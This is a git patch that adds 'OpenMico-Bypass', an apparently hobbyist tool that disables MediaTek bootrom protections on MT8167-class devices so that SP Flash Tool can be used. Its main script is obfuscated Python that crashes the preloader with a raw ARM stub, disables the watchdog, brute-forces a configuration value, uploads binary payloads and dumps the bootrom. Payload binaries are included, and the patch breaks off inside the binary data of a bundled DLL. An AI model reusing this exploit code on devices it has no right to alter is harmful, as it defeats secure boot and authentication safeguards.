From 4a3c57f6e53a1e4a3733f26dd4cde314e083181e Mon Sep 17 00:00:00 2001 From: Hikaru <37921907+voipsy@users.noreply.github.com> Date: Wed, 1 Sep 2021 16:48:01 +0800 Subject: [PATCH] Initial commit Initial commit --- OpenMico-Bypass/README.md | 20 ++ OpenMico-Bypass/bypass.py | 193 +++++++++++++ OpenMico-Bypass/default_config.json5 | 8 + OpenMico-Bypass/libusb-1.0.dll | Bin 0 -> 166912 bytes .../payloads/8167_hikaru-resign.bin | Bin 0 -> 612 bytes .../payloads/generic_dump_payload.bin | Bin 0 -> 296 bytes .../payloads/generic_loader_payload.bin | Bin 0 -> 64 bytes .../payloads/generic_reboot_payload.bin | Bin 0 -> 48 bytes .../payloads/generic_uart_dump_payload.bin | Bin 0 -> 312 bytes .../src/__pycache__/bruteforce.cpython-39.pyc | Bin 0 -> 1790 bytes .../src/__pycache__/common.cpython-39.pyc | Bin 0 -> 1613 bytes .../src/__pycache__/config.cpython-39.pyc | Bin 0 -> 1640 bytes .../src/__pycache__/device.cpython-39.pyc | Bin 0 -> 9430 bytes .../src/__pycache__/exploit.cpython-39.pyc | Bin 0 -> 3139 bytes .../src/__pycache__/logger.cpython-39.pyc | Bin 0 -> 502 bytes OpenMico-Bypass/src/bruteforce.py | 48 ++++ OpenMico-Bypass/src/common.py | 7 + OpenMico-Bypass/src/config.py | 43 +++ OpenMico-Bypass/src/device.py | 271 ++++++++++++++++++ OpenMico-Bypass/src/exploit.py | 71 +++++ OpenMico-Bypass/src/logger.py | 6 + 21 files changed, 667 insertions(+) create mode 100644 OpenMico-Bypass/README.md create mode 100644 OpenMico-Bypass/bypass.py create mode 100644 OpenMico-Bypass/default_config.json5 create mode 100644 OpenMico-Bypass/libusb-1.0.dll create mode 100644 OpenMico-Bypass/payloads/8167_hikaru-resign.bin create mode 100644 OpenMico-Bypass/payloads/generic_dump_payload.bin create mode 100644 OpenMico-Bypass/payloads/generic_loader_payload.bin create mode 100644 OpenMico-Bypass/payloads/generic_reboot_payload.bin create mode 100644 OpenMico-Bypass/payloads/generic_uart_dump_payload.bin create mode 100644 OpenMico-Bypass/src/__pycache__/bruteforce.cpython-39.pyc create mode 100644 OpenMico-Bypass/src/__pycache__/common.cpython-39.pyc create mode 100644 OpenMico-Bypass/src/__pycache__/config.cpython-39.pyc create mode 100644 OpenMico-Bypass/src/__pycache__/device.cpython-39.pyc create mode 100644 OpenMico-Bypass/src/__pycache__/exploit.cpython-39.pyc create mode 100644 OpenMico-Bypass/src/__pycache__/logger.cpython-39.pyc create mode 100644 OpenMico-Bypass/src/bruteforce.py create mode 100644 OpenMico-Bypass/src/common.py create mode 100644 OpenMico-Bypass/src/config.py create mode 100644 OpenMico-Bypass/src/device.py create mode 100644 OpenMico-Bypass/src/exploit.py create mode 100644 OpenMico-Bypass/src/logger.py diff --git a/OpenMico-Bypass/README.md b/OpenMico-Bypass/README.md new file mode 100644 index 0000000..c2e8674 --- /dev/null +++ b/OpenMico-Bypass/README.md @@ -0,0 +1,20 @@ +## How to turn off SPFlash verification +----- + +- If this is the first time you run this program on this computer: +``` +1 Make sure you have installed'Python 3.6.X' or higher and ADDED TO THE PATH +2 Make sure you have installed'python-pip3' +3 Install pyusb, json5 with command 'pip install pyusb json5' +4 Install UsbDK +``` +- How to use +``` +If you confirm that the above steps have been completed, then Run +'python bypass.py' in Windows Powershell and +connect your powered off phone with volume+ button, +you should get "Protection disabled" at the end then start Smartphone Flash Tool, +(you need to re-run them after each operation is completed). +``` + +- Based on https://github.com/MTK-bypass/bypass_utility \ No newline at end of file diff --git a/OpenMico-Bypass/bypass.py b/OpenMico-Bypass/bypass.py new file mode 100644 index 0000000..dd3b623 --- /dev/null +++ b/OpenMico-Bypass/bypass.py @@ -0,0 +1,193 @@ +#!/bin/python3 +from src .exploit import exploit #line:3 +from src .common import from_bytes ,to_bytes #line:4 +from src .config import Config #line:5 +from src .device import Device #line:6 +from src .logger import log #line:7 +from src .bruteforce import bruteforce #line:8 +import argparse #line:10 +import os #line:11 +DEFAULT_CONFIG ="default_config.json5"#line:13 +PAYLOAD_DIR ="payloads/"#line:14 +DEFAULT_PAYLOAD ="generic_dump_payload.bin"#line:15 +DEFAULT_DA_ADDRESS =0x200D00 #line:16 +def main ():#line:19 + O00O000O0O00OO0OO =argparse .ArgumentParser ()#line:20 + O00O000O0O00OO0OO .add_argument ("-c","--config",help ="Device config")#line:21 + O00O000O0O00OO0OO .add_argument ("-t","--test",help ="Testmode",const ="0x9900",nargs ='?')#line:22 + O00O000O0O00OO0OO .add_argument ("-w","--watchdog",help ="Watchdog address(in hex)")#line:23 + O00O000O0O00OO0OO .add_argument ("-u","--uart",help ="UART base address(in hex)")#line:24 + O00O000O0O00OO0OO .add_argument ("-v","--var_1",help ="var_1 value(in hex)")#line:25 + O00O000O0O00OO0OO .add_argument ("-a","--payload_address",help ="payload_address value(in hex)")#line:26 + O00O000O0O00OO0OO .add_argument ("-p","--payload",help ="Payload to use")#line:27 + O00O000O0O00OO0OO .add_argument ("-f","--force",help ="Force exploit on insecure device",action ="store_true")#line:28 + O00O000O0O00OO0OO .add_argument ("-n","--no_handshake",help ="Skip handshake",action ="store_true")#line:29 + O00O000O0O00OO0OO .add_argument ("-m","--crash_method",help ="Method to use for crashing preloader (0, 1, 2)",type =int )#line:30 + O00O000O0O00OO0OO .add_argument ("-k","--kamakiri",help ="Force use of kamakiri",action ="store_true")#line:31 + OOO00O0000000O0O0 =O00O000O0O00OO0OO .parse_args ()#line:32 + if OOO00O0000000O0O0 .config :#line:34 + if not os .path .exists (OOO00O0000000O0O0 .config ):#line:35 + raise RuntimeError ("Config file {} doesn't exist".format (OOO00O0000000O0O0 .config ))#line:36 + elif not os .path .exists (DEFAULT_CONFIG ):#line:37 + raise RuntimeError ("Default config is missing")#line:38 + O0O0O00O0OOO0OOOO =Device ().find ()#line:40 + O00O0OOOOO00O0O0O ,OOO0OOO0OOOO0000O ,O0O0O0000OOO000OO ,OOO0000O00OO000OO =get_device_info (O0O0O00O0OOO0OOOO ,OOO00O0000000O0O0 )#line:42 + while O0O0O00O0OOO0OOOO .preloader :#line:44 + O0O0O00O0OOO0OOOO =crash_preloader (O0O0O00O0OOO0OOOO ,O00O0OOOOO00O0O0O )#line:45 + O00O0OOOOO00O0O0O ,OOO0OOO0OOOO0000O ,O0O0O0000OOO000OO ,OOO0000O00OO000OO =get_device_info (O0O0O00O0OOO0OOOO ,OOO00O0000000O0O0 )#line:46 + log ("Disabling watchdog timer")#line:48 + O0O0O00O0OOO0OOOO .write32 (O00O0OOOOO00O0O0O .watchdog_address ,0x22000064 )#line:49 + if O0O0O00O0OOO0OOOO .libusb0 :#line:51 + OOO00O0000000O0O0 .kamakiri =True #line:52 + O00O0OO000O00OOOO ="bootrom_"+hex (OOO0000O00OO000OO )[2 :]+".bin"#line:54 + if OOO00O0000000O0O0 .test and not OOO00O0000000O0O0 .kamakiri :#line:56 + OOO000OOOOO0O0OOO =int (OOO00O0000000O0O0 .test ,16 )#line:57 + O0O00OOO0OO00O0O0 =False #line:58 + while not O0O00OOO0OO00O0O0 :#line:59 + log ("Test mode, testing "+hex (OOO000OOOOO0O0OOO )+"...")#line:60 + O0O00OOO0OO00O0O0 ,OOO000OOOOO0O0OOO =bruteforce (O0O0O00O0OOO0OOOO ,O00O0OOOOO00O0O0O ,OOO000OOOOO0O0OOO )#line:61 + O0O0O00O0OOO0OOOO .dev .close ()#line:62 + reconnect_message ()#line:63 + O0O0O00O0OOO0OOOO =Device ().find (wait =True )#line:64 + O0O0O00O0OOO0OOOO .handshake ()#line:65 + while O0O0O00O0OOO0OOOO .preloader :#line:66 + O0O0O00O0OOO0OOOO =crash_preloader (O0O0O00O0OOO0OOOO ,O00O0OOOOO00O0O0O )#line:67 + O0O0O00O0OOO0OOOO .handshake ()#line:68 + log ("Found "+hex (OOO000OOOOO0O0OOO )+", dumping bootrom to {}".format (O00O0OO000O00OOOO ))#line:69 + open (O00O0OO000O00OOOO ,"wb").write (bruteforce (O0O0O00O0OOO0OOOO ,O00O0OOOOO00O0O0O ,OOO000OOOOO0O0OOO ,True ))#line:70 + exit (0 )#line:71 + if OOO0OOO0OOOO0000O or O0O0O0000OOO000OO or OOO00O0000000O0O0 .force :#line:73 + log ("Disabling protection")#line:74 + OO0O00O0O0O00OO00 =prepare_payload (O00O0OOOOO00O0O0O )#line:76 + OO0O0OOOO0000OO0O =exploit (O0O0O00O0OOO0OOOO ,O00O0OOOOO00O0O0O ,OO0O00O0O0O00OO00 ,OOO00O0000000O0O0 )#line:78 + if OOO00O0000000O0O0 .test :#line:79 + while not OO0O0OOOO0000OO0O :#line:80 + O0O0O00O0OOO0OOOO .dev .close ()#line:81 + O00O0OOOOO00O0O0O .var_1 +=1 #line:82 + log ("Test mode, testing "+hex (O00O0OOOOO00O0O0O .var_1 )+"...")#line:83 + reconnect_message ()#line:84 + O0O0O00O0OOO0OOOO =Device ().find (wait =True )#line:85 + O0O0O00O0OOO0OOOO .handshake ()#line:86 + while O0O0O00O0OOO0OOOO .preloader :#line:87 + O0O0O00O0OOO0OOOO =crash_preloader (O0O0O00O0OOO0OOOO ,O00O0OOOOO00O0O0O )#line:88 + O0O0O00O0OOO0OOOO .handshake ()#line:89 + OO0O0OOOO0000OO0O =exploit (O0O0O00O0OOO0OOOO ,O00O0OOOOO00O0O0O ,OO0O00O0O0O00OO00 ,OOO00O0000000O0O0 )#line:90 + else :#line:91 + log ("Insecure device, sending payload using send_da")#line:92 + if not OOO00O0000000O0O0 .payload :#line:94 + O00O0OOOOO00O0O0O .payload =DEFAULT_PAYLOAD #line:95 + if not OOO00O0000000O0O0 .payload_address :#line:96 + O00O0OOOOO00O0O0O .payload_address =DEFAULT_DA_ADDRESS #line:97 + OO0O00O0O0O00OO00 =prepare_payload (O00O0OOOOO00O0O0O )#line:99 + OO0O00O0O0O00OO00 +=b'\x00'*0x100 #line:101 + O0O0O00O0OOO0OOOO .send_da (O00O0OOOOO00O0O0O .payload_address ,len (OO0O00O0O0O00OO00 ),0x100 ,OO0O00O0O0O00OO00 )#line:103 + O0O0O00O0OOO0OOOO .jump_da (O00O0OOOOO00O0O0O .payload_address )#line:104 + OO0O0OOOO0000OO0O =O0O0O00O0OOO0OOOO .read (4 )#line:106 + if OO0O0OOOO0000OO0O ==to_bytes (0xA1A2A3A4 ,4 ):#line:108 + log ("Protection disabled")#line:109 + elif OO0O0OOOO0000OO0O ==to_bytes (0xC1C2C3C4 ,4 ):#line:110 + dump_brom (O0O0O00O0OOO0OOOO ,O00O0OO000O00OOOO )#line:111 + elif OO0O0OOOO0000OO0O ==to_bytes (0x0000C1C2 ,4 )and O0O0O00O0OOO0OOOO .read (4 )==to_bytes (0xC1C2C3C4 ,4 ):#line:112 + dump_brom (O0O0O00O0OOO0OOOO ,O00O0OO000O00OOOO ,True )#line:113 + elif OO0O0OOOO0000OO0O !=b'':#line:114 + raise RuntimeError ("Unexpected result {}".format (OO0O0OOOO0000OO0O .hex ()))#line:115 + else :#line:116 + log ("Payload did not reply")#line:117 + O0O0O00O0OOO0OOOO .close ()#line:119 +def reconnect_message ():#line:121 + print ("")#line:122 + print ("Please reconnect device in bootrom mode")#line:123 + print ("")#line:124 +def dump_brom (OOO000OO0O0000O0O ,O0O0OOOOO0O000000 ,word_mode =False ):#line:126 + log ("Found send_dword, dumping bootrom to {}".format (O0O0OOOOO0O000000 ))#line:127 + with open (O0O0OOOOO0O000000 ,"wb")as OO0O0OO0O0O0OOO00 :#line:129 + if word_mode :#line:130 + for OO0OOOOOOO0O00000 in range (0x20000 //4 ):#line:131 + OOO000OO0O0000O0O .read (4 )#line:132 + OO0O0OO0O0O0OOO00 .write (OOO000OO0O0000O0O .read (4 ))#line:133 + else :#line:134 + OO0O0OO0O0O0OOO00 .write (OOO000OO0O0000O0O .read (0x20000 ))#line:135 +def prepare_payload (O00OO00OOOO0OO0O0 ):#line:138 + with open (PAYLOAD_DIR +O00OO00OOOO0OO0O0 .payload ,"rb")as OO0OO0OOOO0O0O000 :#line:139 + OO0OO0OOOO0O0O000 =OO0OO0OOOO0O0O000 .read ()#line:140 + OO0OO0OOOO0O0O000 =bytearray (OO0OO0OOOO0O0O000 )#line:143 + if from_bytes (OO0OO0OOOO0O0O000 [-4 :],4 ,'<')==0x10007000 :#line:144 + OO0OO0OOOO0O0O000 [-4 :]=to_bytes (O00OO00OOOO0OO0O0 .watchdog_address ,4 ,'<')#line:145 + if from_bytes (OO0OO0OOOO0O0O000 [-8 :][:4 ],4 ,'<')==0x11002000 :#line:146 + OO0OO0OOOO0O0O000 [-8 :]=to_bytes (O00OO00OOOO0OO0O0 .uart_base ,4 ,'<')+OO0OO0OOOO0O0O000 [-4 :]#line:147 + OO0OO0OOOO0O0O000 =bytes (OO0OO0OOOO0O0O000 )#line:148 + while len (OO0OO0OOOO0O0O000 )%4 !=0 :#line:150 + OO0OO0OOOO0O0O000 +=to_bytes (0 )#line:151 + return OO0OO0OOOO0O0O000 #line:153 +def get_device_info (O00000OOOO00O0OO0 ,OO0000O0000OOOO00 ):#line:156 + if not OO0000O0000OOOO00 .no_handshake :#line:157 + O00000OOOO00O0OO0 .handshake ()#line:158 + O0O000000OO0O000O =O00000OOOO00O0OO0 .get_hw_code ()#line:160 + O00OOO0OO00OO0O0O ,O0OO0OOO0OO0OO0O0 ,OO0O000OO0OOOOOOO =O00000OOOO00O0OO0 .get_hw_dict ()#line:161 + O000O0OO0O0O00O0O ,O0O00O0OO0OO0O0O0 ,O0000000OO0OOO0OO =O00000OOOO00O0OO0 .get_target_config ()#line:162 + if OO0000O0000OOOO00 .config :#line:164 + O00O0000000O0OOOO =open (OO0000O0000OOOO00 .config )#line:165 + O00O00OOO0OO00000 =Config ().from_file (O00O0000000O0OOOO ,O0O000000OO0O000O )#line:166 + O00O0000000O0OOOO .close ()#line:167 + else :#line:168 + try :#line:169 + O00O00OOO0OO00000 =Config ().default (O0O000000OO0O000O )#line:170 + except NotImplementedError as OO0OO0OOO0OO0OOOO :#line:171 + if OO0000O0000OOOO00 .test :#line:172 + O00O00OOO0OO00000 =Config ()#line:173 + log (OO0OO0OOO0OO0OOOO )#line:175 + else :#line:176 + raise OO0OO0OOO0OO0OOOO #line:177 + if OO0000O0000OOOO00 .test :#line:179 + O00O00OOO0OO00000 .payload =DEFAULT_PAYLOAD #line:180 + if OO0000O0000OOOO00 .var_1 :#line:181 + O00O00OOO0OO00000 .var_1 =int (OO0000O0000OOOO00 .var_1 ,16 )#line:182 + if OO0000O0000OOOO00 .watchdog :#line:183 + O00O00OOO0OO00000 .watchdog_address =int (OO0000O0000OOOO00 .watchdog ,16 )#line:184 + if OO0000O0000OOOO00 .uart :#line:185 + O00O00OOO0OO00000 .uart_base =int (OO0000O0000OOOO00 .uart ,16 )#line:186 + if OO0000O0000OOOO00 .payload_address :#line:187 + O00O00OOO0OO00000 .payload_address =int (OO0000O0000OOOO00 .payload_address ,16 )#line:188 + if OO0000O0000OOOO00 .payload :#line:189 + O00O00OOO0OO00000 .payload =OO0000O0000OOOO00 .payload #line:190 + if OO0000O0000OOOO00 .crash_method :#line:191 + O00O00OOO0OO00000 .crash_method =OO0000O0000OOOO00 .crash_method #line:192 + if not os .path .exists (PAYLOAD_DIR +O00O00OOO0OO00000 .payload ):#line:195 + raise RuntimeError ("Payload file {} doesn't exist".format (PAYLOAD_DIR +O00O00OOO0OO00000 .payload ))#line:196 + print ()#line:198 + log ("Reading device information...")#line:199 + log ("Device hw code: {}".format (hex (O0O000000OO0O000O )))#line:200 + if format (hex (O0O000000OO0O000O ))!="0x8167":#line:201 + log ("The connected device is not supported")#line:202 + sys .exit (1 )#line:203 + log ("Device hw sub code: {}".format (hex (O00OOO0OO00OO0O0O )))#line:204 + log ("Device hw version: {}".format (hex (O0OO0OOO0OO0OO0O0 )))#line:205 + log ("Device sw version: {}".format (hex (OO0O000OO0OOOOOOO )))#line:206 + log ("Device secure boot: {}".format (O000O0OO0O0O00O0O ))#line:207 + log ("Device serial link authorization: {}".format (O0O00O0OO0OO0O0O0 ))#line:208 + log ("Device download agent authorization: {}".format (O0000000OO0OOO0OO ))#line:209 + print ()#line:210 + return O00O00OOO0OO00000 ,O0O00O0OO0OO0O0O0 ,O0000000OO0OOO0OO ,O0O000000OO0O000O #line:212 +def crash_preloader (O0OOO0000O0OOO0OO ,OO0O00O0O000O0O0O ):#line:214 + print ("")#line:215 + log ("Found device in preloader mode, trying to crash...")#line:216 + print ("")#line:217 + if OO0O00O0O000O0O0O .crash_method ==0 :#line:218 + try :#line:219 + O00OOO000OOO0OO00 =b'\x00\x01\x9F\xE5\x10\xFF\x2F\xE1'+b'\x00'*0x110 #line:220 + O0OOO0000O0OOO0OO .send_da (0 ,len (O00OOO000OOO0OO00 ),0 ,O00OOO000OOO0OO00 )#line:221 + O0OOO0000O0OOO0OO .jump_da (0 )#line:222 + except RuntimeError as OO000O00OOOOO00OO :#line:223 + log (OO000O00OOOOO00OO )#line:224 + print ("")#line:225 + elif OO0O00O0O000O0O0O .crash_method ==1 :#line:226 + O00OOO000OOO0OO00 =b'\x00'*0x100 #line:227 + O0OOO0000O0OOO0OO .send_da (0 ,len (O00OOO000OOO0OO00 ),0x100 ,O00OOO000OOO0OO00 )#line:228 + O0OOO0000O0OOO0OO .jump_da (0 )#line:229 + elif OO0O00O0O000O0O0O .crash_method ==2 :#line:230 + O0OOO0000O0OOO0OO .read32 (0 )#line:231 + O0OOO0000O0OOO0OO .dev .close ()#line:233 + O0OOO0000O0OOO0OO =Device ().find ()#line:235 + return O0OOO0000O0OOO0OO #line:237 +if __name__ =="__main__":#line:240 + main ()#line:241 diff --git a/OpenMico-Bypass/default_config.json5 b/OpenMico-Bypass/default_config.json5 new file mode 100644 index 0000000..05d17eb --- /dev/null +++ b/OpenMico-Bypass/default_config.json5 @@ -0,0 +1,8 @@ +{ + "0x8167": { // mt8516 + "var_1": 0xCC, + "payload": "mt8167_payload.bin", + "ptr_usbdl": 0xd2e4, + "ptr_da": 0xd7ac, + }, +} diff --git a/OpenMico-Bypass/libusb-1.0.dll b/OpenMico-Bypass/libusb-1.0.dll new file mode 100644 index 0000000000000000000000000000000000000000..a2ef58e170926915033865183bae36aeee0ff7c3 GIT binary patch literal 166912 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 